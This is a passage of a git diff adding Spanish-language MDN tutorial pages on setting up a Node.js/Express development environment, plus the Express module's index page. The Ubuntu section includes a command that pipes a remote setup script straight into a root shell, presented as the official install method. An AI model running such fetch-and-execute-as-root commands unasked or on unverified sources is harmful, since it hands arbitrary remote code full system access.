href="/en-US/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture"> patrón MVC </a>. El generador de aplicaciones es opcional porque no necesita utilizar esta herramienta para crear apps que usan Express, o construir apps Express que tienen el mismo diseño arquitectónico o dependencias. No obstante estaremos usandolo, porque hace mucho más fácil, y promueve una estrucura modular de aplicación.</p> + +<div class="note"> +<p><strong>Nota:</strong> A diferencia de otros frameworks web , el ambiente de desarrollo no incluye un servidor web independiente. Una aplicación web <em>Node</em>/<em>Express</em> crea y ejecuta su propio servidor web!</p> +</div> + +<p>Hay otras herramientas periféricas que son parte de un ambiente de desarrollo típico, incluyendo <a href="/en-US/docs/Learn/Common_questions/Available_text_editors">editores de texto</a> o IDEs para edición de código, y herramientas de administración de control de fuentes como <a href="https://git-scm.com/">Git</a> para administrar con seguridad diferentes versiones de su codigo. Asumimos que usted ya tiene instaladas esta clase de herramientas (en particular un editor de texto).</p> + +<h3 id="Qué_sistemas_operativos_son_soportados">Qué sistemas operativos son soportados?</h3> + +<p><em>Node</em> puede ser ejecutado en Windows, macOS, varias "versiones" de Linux, Docker, etc. (hay una lista completa de paginas de <a href="https://nodejs.org/en/download/">Downloads</a> de nodejs). Casi cualquier computadora personal podría tener el desempeño necesario para ejecutar Node durante el desarrollo. <em>Express</em> es ejecutado en un ambiente <em>Node</em>, y por lo tanto puede ejecutarse en cualquier plataforma que ejecute <em>Node</em>.</p> + +<p>En este articulo proveemos instruciones para configurarlo para Windows, macOS, and Ubuntu Linux.</p> + +<h3 id="¿Qué_versión_de_NodeExpress_puedo_usar">¿Qué versión de Node/Express puedo usar?</h3> + +<p>Hay varias <a href="https://nodejs.org/en/blog/release/">versiones de Node</a> — recientes que contienen reparacion de bugs, soporte para versiones mas recientes de ECMAScript (JavaScript) estandares, y mejoras a las APIs de Node . </p> + +<p>Generalmente se debe usar la versión más reciente <em>SLP (soporte de largo-plazo),</em> una versión como esta es más estable que la versión "actual", mientras que sigue teniendo características relativamente recientes (y continua siendo activamente actualizado). Debería utilizar la versión <em>Actual</em> si necesita una característica que no esta presente en la versión SLP.</p> + +<p>Para <em>Express</em> siempre se debe utilizar la versión más reciente.</p> + +<h3 id="¿Qué_pasa_con_bases_de_datos_y_otras_dependencias">¿Qué pasa con bases de datos y otras dependencias?</h3> + +<p>Otras dependencias, tales como los controladores de bases de datos, motores de plantillas, motores de autenticación, etc. son parte de la aplicación, y son importadas dentro del ambiente de la aplicación utilizando el administrador de paquetes NPM. Estos los discutiremos en artículos posteriores app-specific.</p> + +<h2 id="Instalar_Node">Instalar Node</h2> + +<p>Para poder utilizar <em>Express</em> primero tiene que instalar <em>Nodejs</em> y el <a href="https://docs.npmjs.com/">Administrador de Paquetes de Node (NPM)</a> en su sistema operativo. Las siguientes secciones explican la forma más fácil de instalar la versión Soporte de Largo-Plazo (SLP) de Nodejs en Ubuntu Linux 16.04, macOS, y Windows 10.</p> + +<div class="note"> +<p><strong>Tip:</strong> Las secciones de abajo muestran la forma más facil de instalar <em>Node</em> y <em>NPM</em> en nuestras plataformas de sistemas operativo a elegir. Si esta utilizando otro SO o solo quiere ver alguna de otros enfoques para las plataformas actuales entonce vea <a href="https://nodejs.org/en/download/package-manager/">Instalando Node.js via administrador de paquetes</a> (nodejs.org).</p> +</div> + +<h3 id="macOS_y_Windows">macOS y Windows</h3> + +<p>Instalar <em>Node</em> y <em>NPM</em> en Windows y macOS es sencillo, porque simplemente debe utilizar el instalador provisto:</p> + +<ol> + <li>Descargue el instalador requerido: + <ol> + <li>Vaya a <a href="https://nodejs.org/en/">https://nodejs.org/es/</a></li> + <li>Seleccione el boton para descargar la versión LTS que es "Recomendada la mayoría de los usuarios".</li> + </ol> + </li> + <li>Instale Node al dar doble-click en el archivo de descarga y en seguida la instalación inicia.</li> +</ol> + +<h3 id="Ubuntu_18.04">Ubuntu 18.04</h3> + +<p>La forma más fácil de instalar la versión LTS de Node 10.x es la usar el <a href="https://nodejs.org/en/download/package-manager/#debian-and-ubuntu-based-linux-distributions">administrador de paquetes</a> para obtenerlo del repositorio de distribuciones <em>binarias </em>de Ubuntu. Esto puede ser hecho muy simple al ejecutar los siguientes dos comandos en su terminal:</p> + +<pre class="brush: bash"><code>curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash - +sudo apt-get install -y nodejs</code> +</pre> + +<div class="warning"> +<p><strong>Advertencia:</strong> No instale directamente desde los repositorios normales de Ubuntu porque pueden contener versions muy antiguas de Node.</p> +</div> + +<ol> +</ol> + +<h3 id="Probar_su_instalación_de_Nodejs_y_NPM">Probar su instalación de Nodejs y NPM</h3> + +<p>La forma más fácil de probar que Node está instalado es ejecutar el comando "version" en su prompt de terminal/command y checar que una cadena de versión es devuelta:</p> + +<pre class="brush: bash">>node -v +v10.16.0</pre> + +<p>The administrador de paquetes <em>NPM</em> de <em>Nodejs</em> también debería haber sido instalado y puede ser probado de la misma forma:</p> + +<pre class="brush: bash">>npm -v +6.9.0</pre> + +<p>Como una prueba un poco más emocionante creemos un muy básico "básico servidor node" que simplemente imprima "Hola Mundo" en el browser cuando visite la URL correcta en él:</p> + +<ol> + <li>Copie el siguiente texto en un archivo llamado <strong>holanode.js</strong>. Este utiliza características básicas de Node (nada desde Express) y algo de sintáxis ES6: + + <pre class="brush: js">//Load HTTP module +const http = require("http"); +<code>const hostname = '127.0.0.1'; +const port = 3000; + +//Create HTTP server and listen on port 3000 for requests +const server = http.createServer((req, res) => { + + //Set the response HTTP header with HTTP status and Content type + res.statusCode = 200; + res.setHeader('Content-Type', 'text/plain'); + res.end('Hello World\n'); +}); + +//listen for request on port 3000, and as a callback function have the port listened on logged +server.listen(port, hostname, () => { + console.log(`Server running at http://${hostname}:${port}/`); +});</code> + +</pre> + + <p><span class="tlid-translation translation" lang="es"><span title="">El código importa el módulo "http" y lo usa para crear un servidor </span></span> (<code>createServer()</code>) <span class="tlid-translation translation" lang="es"><span title="">que escucha las solicitudes HTTP en el puerto 3000</span></span>. <span class="tlid-translation translation" lang="es"><span title="">Luego, el script imprime un mensaje en la consola con la URL del navegador puede usar para probar el servidor</span></span>. La función <code>createServer()</code> <span class="tlid-translation translation" lang="es"><span title="">toma como argumento una función callback que se invocará cuando se reciba una solicitud HTTP </span></span>— <span class="tlid-translation translation" lang="es"><span title="">esto simplemente devuelve una respuesta con un código de estado HTTP de 200 ("OK") y el texto sin formato "Hello World".</span></span></p> + + <div class="note"> + <p><strong>Nota:</strong> <span class="tlid-translation translation" lang="es"><span title="">¡No se preocupe si aún no comprende exactamente lo que está haciendo este código!</span> <span title="">¡Explicaremos nuestro código con mayor detalle una vez que comencemos a usar Express!</span></span></p> + </div> + </li> + <li><span class="tlid-translation translation" lang="es"><span title="">Inicie el servidor navegando en el mismo directorio que su archivo <code>hellonode.js</code> en su símbolo del sistema, y llamando a <code>node</code> junto con el nombre del script, así:</span></span> + <pre class="brush: bash">>node hellonode.js +Server running at http://127.0.0.1:3000/ +</pre> + </li> + <li>Navega a la URL <a href="http://127.0.0.1:3000">http://127.0.0.1:3000 </a>. Sí todo esta funciona, el navegador simplemente debe mostrar la cadena de texto "Hello World".</li> +</ol> + +<h2 id="Usando_NPM">Usando NPM</h2> + +<p><span class="tlid-translation translation" lang="es"><span title="">Junto al propio node,</span></span> <a href="https://docs.npmjs.com/">NPM</a> <span class="tlid-translation translation" lang="es"><span title="">es la herramienta más importante para trabajar con aplicaciones de node.</span> <span title="">NPM se usa para obtener los paquetes (bibliotecas de JavaScript) que una aplicación necesita para el desarrollo, las pruebas y/o la producción, y también se puede usar para ejecutar pruebas y herramientas utilizadas en el proceso de desarrollo.</span></span></p> + +<div class="note"> +<p><strong>Nota:</strong> <span class="tlid-translation translation" lang="es"><span title="">Desde la perspectiva de Node, Express es solo otro paquete que necesita instalar usando NPM y luego requerir en su propio código.</span></span></p> +</div> + +<p><span class="tlid-translation translation" lang="es"><span title="">Se puede usar</span></span> NPM <span class="tlid-translation translation" lang="es"><span title="">manualmente para buscar por separado cada paquete necesario.</span> <span title="">Por lo general, administramos las dependencias utilizando un archivo de definición de texto plano llamado</span></span> <a href="https://docs.npmjs.com/files/package.json">package.json</a>. <span class="tlid-translation translation" lang="es"><span title="">Este archivo enumera todas las dependencias para un "paquete" de JavaScript específico, incluido el nombre del paquete, la versión, la descripción, el archivo inicial a ejecutar, las dependencias de producción, las dependencias de desarrollo, las versiones de Node con las que puede trabajar, etc. El archivo package.json debería</span> <span title="">contener todo lo que NPM necesita para buscar y ejecutar su aplicación (si estuviera escribiendo una biblioteca reutilizable, podría usar esta definición para cargar su paquete en el repositorio npm y ponerlo a disposición de otros usuarios).</span></span></p> + +<h3 id="Agregando_dependencias"><span class="tlid-translation translation" lang="es"><span title="">Agregando dependencias</span></span></h3> + +<p><span class="tlid-translation translation" lang="es"><span title="">Los siguientes pasos muestran cómo puede usar NPM para descargar un paquete, guardarlo en las dependencias del proyecto y luego requerirlo en una aplicación Node.</span></span></p> + +<div class="note"> +<p><strong>Nota:</strong> <span class="tlid-translation translation" lang="es"><span title="">Aquí mostramos las instrucciones para buscar e instalar el paquete <em>Express</em>.</span> <span title="">Más adelante mostraremos cómo este paquete y otros ya están especificados para nosotros utilizando el <em>Generador de aplicaciones Express</em>.</span> <span title="">Esta sección se proporciona porque es útil para comprender cómo funciona NPM y qué está creando el generador de aplicaciones.</span></span></p> +</div> + +<ol> + <li><span class="tlid-translation translation" lang="es"><span title="">Primero cree un directorio para su nueva aplicación y acceda a él:</span></span> + + <pre class="brush: bash">mkdir myapp +cd myapp</pre> + </li> + <li><span class="tlid-translation translation" lang="es"><span title="">Use el comando <code>npm init</code> para crear un archivo <strong>package.json</strong> para su aplicación.</span> <span title="">Este comando le solicita varias cosas, incluido el nombre y la versión de su aplicación y el nombre del archivo de punto de entrada inicial (de forma predeterminada, esto es <strong>index.js</strong>).</span> <span title="">Por ahora, solo acepte los valores predeterminados:</span></span></li> + <li> + <pre class="brush: bash">npm init</pre> + + <p><span class="tlid-translation translation" lang="es"><span title="">Si muestra el archivo <strong>package.json</strong> (<code>cat package.json</code>), verá los valores predeterminados que aceptó, que finalizarán con la licencia.</span></span></p> + + <pre class="brush: json">{ + "name": "myapp", + "version": "1.0.0", + "description": "", + "main": "index.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "", + "license": "ISC" +} +</pre> + </li> + <li><span class="tlid-translation translation" lang="es"><span title="">Ahora instale Express en el directorio <code>myapp</code> y guárdelo en la lista de dependencias de su archivo package.json</span></span></li> + <li> + <pre class="brush: bash">npm install express --save</pre> + + <p><span class="tlid-translation translation" lang="es"><span title="">La sección de dependencias de su <strong>package.json</strong> ahora aparecerá al final del archivo <strong>package.json</strong> e incluirá <em>Express</em>.</span></span></p> + + <pre class="brush: json">{ + "name": "myapp", + "version": "1.0.0", + "description": "", + "main": "index.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "", + "license": "ISC", +<strong> "dependencies": { + "express": "^4.16.3" + }</strong> +} +</pre> + </li> + <li><span class="tlid-translation translation" lang="es"><span title="">Para usar la biblioteca, llame a la función <code>require ()</code> como se muestra a continuación en su archivo <strong>index.js</strong>.</span></span> + <pre><code><strong>const express = require('express')</strong> +const app = express(); + +app.get('/', (req, res) => { + res.send('Hello World!') +}); + +app.listen(</code>8000<code>, () => { + console.log('Example app listening on port </code>8000<code>!') +});</code> +</pre> + + <p><span class="tlid-translation translation" lang="es"><span title="">Este código muestra una aplicación web mínima "HelloWorld" Express.</span> <span title="">Esto importa el módulo "express" y lo usa para crear un servidor (<code>app</code>) que escucha las solicitudes HTTP en el puerto 8000 e imprime un mensaje en la consola que indica qué URL del navegador puede usar para probar el servidor.</span> <span title="">La función <code>app.get ()</code> solo responde a las solicitudes HTTP <code>GET</code> con la ruta URL especificada (<code>'/'</code>), en este caso llamando a una función para enviar nuestro mensaje Hello World!</span> <span title="">.</span></span></p> + </li> + <li> + <p>Cree un archivo llamado <strong>index.js</strong> en la raíz del directorio de la aplicación "myapp" y dele el contenido que se muestra arriba.</p> + </li> + <li><span class="tlid-translation translation" lang="es"><span title="">Puede iniciar el servidor llamando a node con el script en su símbolo del sistema:</span></span> + <pre class="brush: bash">>node index.js +Example app listening on port 8000 +</pre> + </li> + <li>Navega a la URL (<a href="http://127.0.0.1:8000/">http://127.0.0.1:8000/</a>). Sí todo esta funciona, el navegador simplemente debe mostrar la cadena de texto "Hello World".</li> +</ol> + +<h3 id="Dependencias_de_Desarrollo">Dependencias de Desarrollo</h3> + +<p><span class="tlid-translation translation" lang="es"><span title="">Si una dependencia solo se usa durante el desarrollo, debe guardarla como una "dependencia de desarrollo" (para que los usuarios de su paquete no tengan que instalarla en producción).</span></span> <span class="tlid-translation translation" lang="es"><span title="">Por ejemplo, para usar la popular herramienta Linting JavaScript</span></span> <a href="http://eslint.org/">eslint</a> <span class="tlid-translation translation" lang="es"><span title="">llamaría a NPM como se muestra a continuación:</span></span></p> + +<pre class="brush: bash"><code>npm install eslint --save-dev</code></pre> + +<div class="text-wrap tlid-copy-target"> +<div class="result-shield-container tlid-copy-target"><span class="tlid-translation translation" lang="es"><span title="">La siguiente entrada se agregaría al <strong>paquete.json</strong> de su aplicación:</span></span></div> + +<div class="result-shield-container tlid-copy-target"></div> +</div> + +<pre class="brush: js"> "devDependencies": { + "eslint": "^4.12.1" + } +</pre> + +<div class="note"> +<p><strong>Nota:</strong> "<a href="https://en.wikipedia.org/wiki/Lint_(software)">Linters</a>" <span class="tlid-translation translation" lang="es"><span title="">son herramientas que realizan análisis estáticos en el software para reconocer e informar la adhesión / no adhesión a algún conjunto de mejores prácticas de codificación.</span></span></p> +</div> + +<h3 id="Ejecutando_tareas"><span class="tlid-translation translation" lang="es"><span title="">Ejecutando tareas</span></span></h3> + +<p><span class="tlid-translation translation" lang="es"><span title="">Además de definir y buscar dependencias, también puede definir scripts con nombre en sus archivos package.json y llamar a NPM para ejecutarlos con el comando</span></span> <a href="https://docs.npmjs.com/cli/run-script">run-script</a>. <span class="tlid-translation translation" lang="es"><span title="">Este enfoque se usa comúnmente para automatizar las pruebas en ejecución y partes de la cadena de herramientas de desarrollo o construcción (por ejemplo, ejecutar herramientas para minimizar JavaScript, reducir imágenes, LINT/analizar su código, etc.)</span></span>.<span class="tlid-translation translation" lang="es"> </span></p> + +<div class="note"> +<p><strong>Nota:</strong> <span class="tlid-translation translation" lang="es"><span title="">Los ejecutadores de tareas como</span></span> <a href="http://gulpjs.com/">Gulp</a> y <a href="http://gruntjs.com/">Grunt</a><span class="tlid-translation translation" lang="es"><span title=""> también se pueden usar para ejecutar pruebas y otras herramientas externas.</span></span></p> +</div> + +<p><span class="tlid-translation translation" lang="es"><span title="">Por ejemplo, para definir un script para ejecutar la dependencia de desarrollo de <em>eslint </em>que especificamos en la sección anterior, podríamos agregar el siguiente bloque de script a nuestro archivo <strong>package.json</strong> (suponiendo que el origen de nuestra aplicación esté en una carpeta /src/js):</span></span></p> + +<pre class="brush: js">"scripts": { + ... + "lint": "eslint src/js" + ... +} +</pre> + +<p><span class="tlid-translation translation" lang="es"><span title="">Para explicar un poco más, <code>eslint src/js</code> es un comando que podríamos ingresar en nuestra línea de terminal/linea de comandos para ejecutar <code>eslint </code>en archivos JavaScript contenidos en el directorio <code>src/js</code> dentro de nuestro directorio de aplicaciones.</span> <span title="">Incluir lo anterior dentro del archivo package.json de nuestra aplicación proporciona un acceso directo para este comando: <code>lint</code>.</span></span></p> + +<p><br> + <span class="tlid-translation translation" lang="es"><span title="">Entonces podríamos ejecutar eslint usando NPM llamando a:</span></span></p> + +<pre class="brush: bash"><code>npm run-script lint +# OR (using the alias) +npm run lint</code> +</pre> + +<div class="text-wrap tlid-copy-target"> +<div class="result-shield-container tlid-copy-target"><span class="tlid-translation translation" lang="es"><span title="">Es posible que este ejemplo no parezca más corto que el comando original, pero puede incluir comandos mucho más grandes dentro de sus scripts npm, incluidas cadenas de comandos múltiples.</span> <span title="">Puede identificar un solo script npm que ejecute todas sus pruebas a la vez.</span></span></div> +</div> + +<h2 id="Instalando_Express_Application_Generator">Instalando Express Application Generator</h2> + +<p><span class="tlid-translation translation" lang="es"><span title="">La herramienta</span></span> <a href="https://expressjs.com/en/starter/generator.html">Express Application Generator</a> <span class="tlid-translation translation" lang="es"><span title="">genera un "esqueleto" de la aplicación Express.</span> <span title="">Instale el generador usando NPM como se muestra (el indicador <code>-g</code> instala la herramienta globalmente para que pueda llamarla desde cualquier lugar):</span></span></p> + +<pre><code>npm install express-generator -g</code></pre> + +<p><span class="tlid-translation translation" lang="es"><span title="">Para crear una aplicación <em>Express </em>llamada "helloworld" con la configuración predeterminada, navegue hasta donde desea crearla y ejecute la aplicación como se muestra:</span></span></p> + +<pre class="brush: bash">express helloworld</pre> + +<div class="note"> +<p><strong>Nota: </strong><span class="tlid-translation translation" lang="es"><span title="">También puede especificar la biblioteca de plantillas para usar y una serie de otras configuraciones.</span> <span title="">Use el comando <code>--help</code> para ver todas las opciones:</span></span></p> + +<pre class="brush: bash">express --help +</pre> +</div> + +<p><span class="tlid-translation translation" lang="es"><span title="">NPM creará la nueva aplicación Express en una subcarpeta de su ubicación actual, mostrando el progreso de la compilación en la consola.</span> <span title="">Al finalizar, la herramienta mostrará los comandos que necesita ingresar para instalar las dependencias de Node e iniciar la aplicación.</span></span></p> + +<div class="note"> +<p><span class="tlid-translation translation" lang="es"><span title="">La nueva aplicación tendrá un archivo <strong>package.json</strong> en su directorio raíz.</span> <span title="">Puede abrir esto para ver qué dependencias están instaladas, incluidas Express y la biblioteca de plantillas Jade:</span></span></p> + +<pre class="brush: js">{ + "name": "helloworld", + "version": "0.0.0", + "private": true, + "scripts": { + "start": "node ./bin/www" + }, + "dependencies": { + "body-parser": "~1.18.2", + "cookie-parser": "~1.4.3", + "debug": "~2.6.9", + "express": "~4.15.5", + "jade": "~1.11.0", + "morgan": "~1.9.0", + "serve-favicon": "~2.4.5" + } +}</pre> +</div> + +<p><span class="tlid-translation translation" lang="es"><span title="">Instale todas las dependencias para la aplicación helloworld usando NPM como se muestra:</span></span></p> + +<pre class="brush: bash">cd helloworld +npm install +</pre> + +<p><span class="tlid-translation translation" lang="es"><span title="">Luego ejecute la aplicación (los comandos son ligeramente diferentes para Windows y Linux/macOS), como se muestra a continuación:</span></span></p> + +<pre class="brush: bash"># <span class="tlid-translation translation" lang="es"><span title="">Ejecute helloworld en Windows con símbolo del sistema</span></span> +<code>SET DEBUG=helloworld:* & npm start</code> + +# <span class="tlid-translation translation" lang="es"><span title="">Ejecute helloworld en Windows con PowerShell</span></span> +SET DEBUG=helloworld:* | npm start + +# <span class="tlid-translation translation" lang="es"><span title="">Ejecute helloworld en Linux/macOS</span></span> +DEBUG=helloworld:* npm start +</pre> + +<p><span class="tlid-translation translation" lang="es"><span title="">El comando DEBUG crea registros útiles, lo que resulta en una salida como la que se muestra a continuación.</span></span></p> + +<pre class="brush: bash">>SET DEBUG=helloworld:* & npm start + +> helloworld@0.0.0 start D:\Github\expresstests\helloworld +> node ./bin/www + + helloworld:server Listening on port 3000 +0ms</pre> + +<p><span class="tlid-translation translation" lang="es"><span title="">Abra un navegador y navegue a</span></span> <a href="http://127.0.0.1:3000/">http://127.0.0.1:3000/</a> <span class="tlid-translation translation" lang="es"><span title="">para ver la página de bienvenida Express predeterminada.</span></span></p> + +<p><img alt="Express - Generated App Default Screen" src="https://mdn.mozillademos.org/files/14331/express_default_screen.png" style="border-style: solid; border-width: 1px; display: block; height: 301px; margin: 0px auto; width: 675px;"></p> + +<p><span class="tlid-translation translation" lang="es"><span title="">Hablaremos más sobre la aplicación generada cuando lleguemos al artículo sobre la generación de una aplicación esqueleto.</span></span></p> + +<ul> +</ul> + +<h2 id="Resumen">Resumen</h2> + +<p><span class="tlid-translation translation" lang="es"><span title="">Ahora tiene un entorno de desarrollo de Node en funcionamiento en su computadora que puede usarse para crear aplicaciones web Express.</span> <span title="">También ha visto cómo se puede usar NPM para importar Express en una aplicación, y también cómo puede crear aplicaciones usando la herramienta Express Application Generator y luego ejecutarlas.</span><br> + <br> + <span title="">En el siguiente artículo, comenzaremos a trabajar a través de un tutorial para crear una aplicación web completa utilizando este entorno y las herramientas asociadas.</span></span></p> + +<h2 id="Ver_también">Ver también</h2> + +<ul> + <li><a href="https://nodejs.org/en/download/">Downloads</a> page (nodejs.org)</li> + <li><a href="https://nodejs.org/en/download/package-manager/">Installing Node.js via package manager</a> (nodejs.org)</li> + <li><a href="http://expressjs.com/en/starter/installing.html">Installing Express</a> (expressjs.com)</li> + <li><a href="https://expressjs.com/en/starter/generator.html">Express Application Generator</a> (expressjs.com)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Introduction", "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node introduction</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Setting up a Node (Express) development environment</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express Tutorial: The Local Library website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></li> +</ul> diff --git a/files/es/learn/server-side/express_nodejs/index.html b/files/es/learn/server-side/express_nodejs/index.html new file mode 100644 index 0000000000..2c224095c0 --- /dev/null +++ b/files/es/learn/server-side/express_nodejs/index.html @@ -0,0 +1,76 @@ +--- +title: Express Web Framework (Node.js/JavaScript) +slug: Learn/Server-side/Express_Nodejs +tags: + - Aplicaciones Web + - Aprendizaje + - Express + - Express.js + - JavaScript + - Node + - Novato + - Programación del lado del Servidor + - introducción + - programacion +translation_of: Learn/Server-side/Express_Nodejs +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">Express es un framework web transigente, escrito en JavaScript y alojado dentro del entorno de ejecución NodeJS. El modulo explica algunos de los beneficios clave de este framework, como configurar tu entorno de desarrollo y como realizar tareas comunes en desarrollo y publicación web.</p> + +<h2 id="Prerequisitos">Prerequisitos</h2> + +<p>Antes de empezar con este módulo necesitaras entender los conceptos de programación web en el lado del servidor y los frameworks, de preferencia leyendo acerca de estos temas en nuestro modulo <a href="/en-US/docs/Learn/Server-side/First_steps">Primeros pasos en la programación web del lado del servidor</a>. Un conocimiento general de conceptos de programación y JavaScript es altamente recomendado, pero no esencial para entender los conceptos básicos.</p> + +<div class="note"> +<p><strong>Nota</strong> : Esta web posee muchos recursos útiles para aprender JavaScript <em>en el contexto del desarrollo en el lado del cliente:</em> <a href="/en-US/docs/Web/JavaScript">JavaScript</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide">Guía de JavaScript</a>, <a href="/en-US/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript Básico</a>, <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> (aprendizaje). El lenguaje JavaScript y sus conceptos son los mismos para el desarrollo en el lado del servidor en NodeJS y este material será relevante. NodeJS ofrece <a href="https://nodejs.org/dist/latest-v6.x/docs/api/">APIs adicionales</a> para soportar funcionalidades que son útiles en entornos sin navegador web, por ejemplo para crear servidores HTTP y acceder al sistema de archivos, pero no soportan APIs de JavaScript para trabajar con el navegador y el DOM.</p> + +<p>Esta guía proporciona información útil para trabajar con Node.js y Express, además hay numerosos y excelentes recursos en Internet y en libros - algunos de estos referenciados en <a href="http://stackoverflow.com/a/5511507/894359">Cómo empezar con Node.js</a> (Inglés - StackOverflow) y <a href="https://www.quora.com/What-are-the-best-resources-for-learning-Node-js?">¿Cuáles son los mejores recursos para aprender Node.js?</a> (Inglés - Quora).</p> +</div> + +<h2 id="Guías">Guías</h2> + +<dl> + <dt><a href="/es/docs/Learn/Server-side/Express_Nodejs/Introduction">Introducción a Express/Node </a></dt> + <dd>En el primer artículo de Express respondemos las preguntas "¿Qué es Node?" y "¿Qué es Express?" y te daremos una visión general de qué hace especial al framework web Express. Destacaremos las principales caracteristicas, y mostraremos algunos de los bloques principales de una aplicación Express (aunque en este punto aún no tendrás un entorno de desarrollo para probarlo).</dd> + <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Preparando un entorno de desarrollo Node (Express)</a></dt> + <dd>Ahora que sabes para que sirve Express, te mostraremos como preparar y probar un entorno de desarrollo Node/Express en Windows, Linux (Ubuntu), y Mac OS X. Sin importar el sistema operativo que estes usando, este artículo te proporcionará lo que necesites para empezar a desarrollar aplicaciones Express.</dd> + <dt><strong><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Tutorial Express: la web de Librería local</a></strong></dt> + <dd>El primer artículo en nuestra serie de tutoriales prácticos en los que se explica lo que aprenderás así como una breve introducción al proyecto de <em>"Librería local", </em>que será en el que trabajaremos y desarrollaremos a lo largo de la serie.</dd> + <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Tutorial Express 2: Creando el esqueleto de un sitio web</a> </dt> + <dd>Este artículo muestra cómo puede crear el "esqueleto" de un proyecto web, al cual podremos ir agregando nuestras rutas específicas para el sitio, plantillas/vistas, y bases de datos.</dd> + <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Tutorial Express 3: Usando una base de datos (con Mongoose)</a></dt> + <dd>Este artículo nos introducirá brevemente en las bases de datos para Node/Express. Entonces nos mostrara como podemos usar <a href="http://mongoosejs.com/">Mongoose</a> para agregar acceso a una base de datos para el sitio web LocalLibrary. Explica como son declarados los objetos de esquema y modelos, los principales tipos para los campos, y validación básica. También mostrara brevemente algunas de las principales formas con las que puedes acceder a los modelos de datos.</dd> + <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Tutorial Express 4: Rutas y controladores</a></dt> + <dd>En este tutorial prepararemos las rutas (URL handling code) con un manejador de funciones "dummy" para todos los puntos de obtención de recursos que iremos a necesitar en nuestra web LocalLibrary. Al finalizar, tendremos una estructura modular para manejar nuestro código manejador de rutas, que podremos extender con funciones manejadoras reales en los artículos siguientes. También tendremos un muy buen entendimiento de cómo crear rutas modulares usando Express.</dd> + <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Tutorial Express 5: Mostrado datos de la librería</a></dt> + <dd>Ahora estamos listos para añadir paginas donde mostrar los libros de LocalLibrary y otros datos. Las paginas incluirán una página de inicio que muestre cuantos elementos tenemos de cada tipo de modelo, y páginas de lista y detalles para todos nuestros modelos. En el camino iremos ganando experiencia práctica en obtener elementos de la base de datos, y usando plantillas.</dd> + <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Tutorial Express 6: Trabajando con formularios</a></dt> + <dd>En este tutorial mostraremos como trabajar con <a href="/en-US/docs/Web/Guide/HTML/Forms">formularios HTML</a> en Express, usando Pug, y en particular como escribir formularios para crear, actualizar y borrar documentos en la base de datos.</dd> + <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Tutorial Express 7: Desplegando para producción</a></dt> + <dd>Ahora que has creado una increíble web llamada LocalLibrary, la querrás instalar en un servidor web público para que pueda acceder a ella el personal de la librería y los usuarios por Internet. Este artículo te ofrece una visión general de como deberías buscar un alojamiento para tu página web, y que necesitas para tener tu sitio listo para producción.</dd> + <dd> </dd> +</dl> + +<h2 id="Ver_también">Ver también</h2> + +<dl> + <dt><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Installing_on_PWS_Cloud_Foundry">Instalando LocalLibrary en PWS/Cloud Foundry</a></dt> + <dd>Este artículo nos da una demonstración práctica de cómo instalar <em>LocalLibrary</em> en la <a href="http://run.pivotal.io">nube Pivotal Web Services PaaS</a> — ésta es una alternativa, muy completa y de código libre, a Heroku, el servicio en la nube PaaS es usado en la parte 7 de este tutorial, listado más adelante. PWS/Cloud Foundry es un recurso digno de revisar si estás en busca de una alternativa a Heroku ( o cualquier otro servicio en la nube PaaS), o simplemente si tienes ganas de intentar algo diferente.</dd> +</dl> + +<h2 id="Añadiendo_mas_tutoriales">Añadiendo mas tutoriales</h2> + +<div> +<p>Este es el final de los tutoriales (por ahora). Si quisieras extenderlos, hay otros temas interesantes por tratar como:</p> + +<ul> + <li>Uso de sesiones.</li> + <li>Autenticación de usuarios.</li> + <li>Autorizaciones y permisos de usuario.</li> + <li>Probando una aplicación web Express.</li> + <li>Seguridad web para aplicaciones web Express.</li> +</ul> + +<p>Y por supuesto, ¡seria excelente tener una tarea de evaluación!</p> +</div> diff --git a/files/es/learn/server-side/express_nodejs/introduction/index.html b/files/es/learn/server-side/express_nodejs/introduction/index.html new file mode 100644 index 0000000000..d607c0dd0f --- /dev/null +++ b/files/es/learn/server-side/express_nodejs/introduction/index.html @@ -0,0 +1,498 @@ +--- +title: Introducción a Express/Node +slug: Learn/Server-side/Express_Nodejs/Introduction +tags: + - Aprender + - Express + - MDN + - Node + - Servidor + - javascri + - lado del servidor + - nodejs +translation_of: 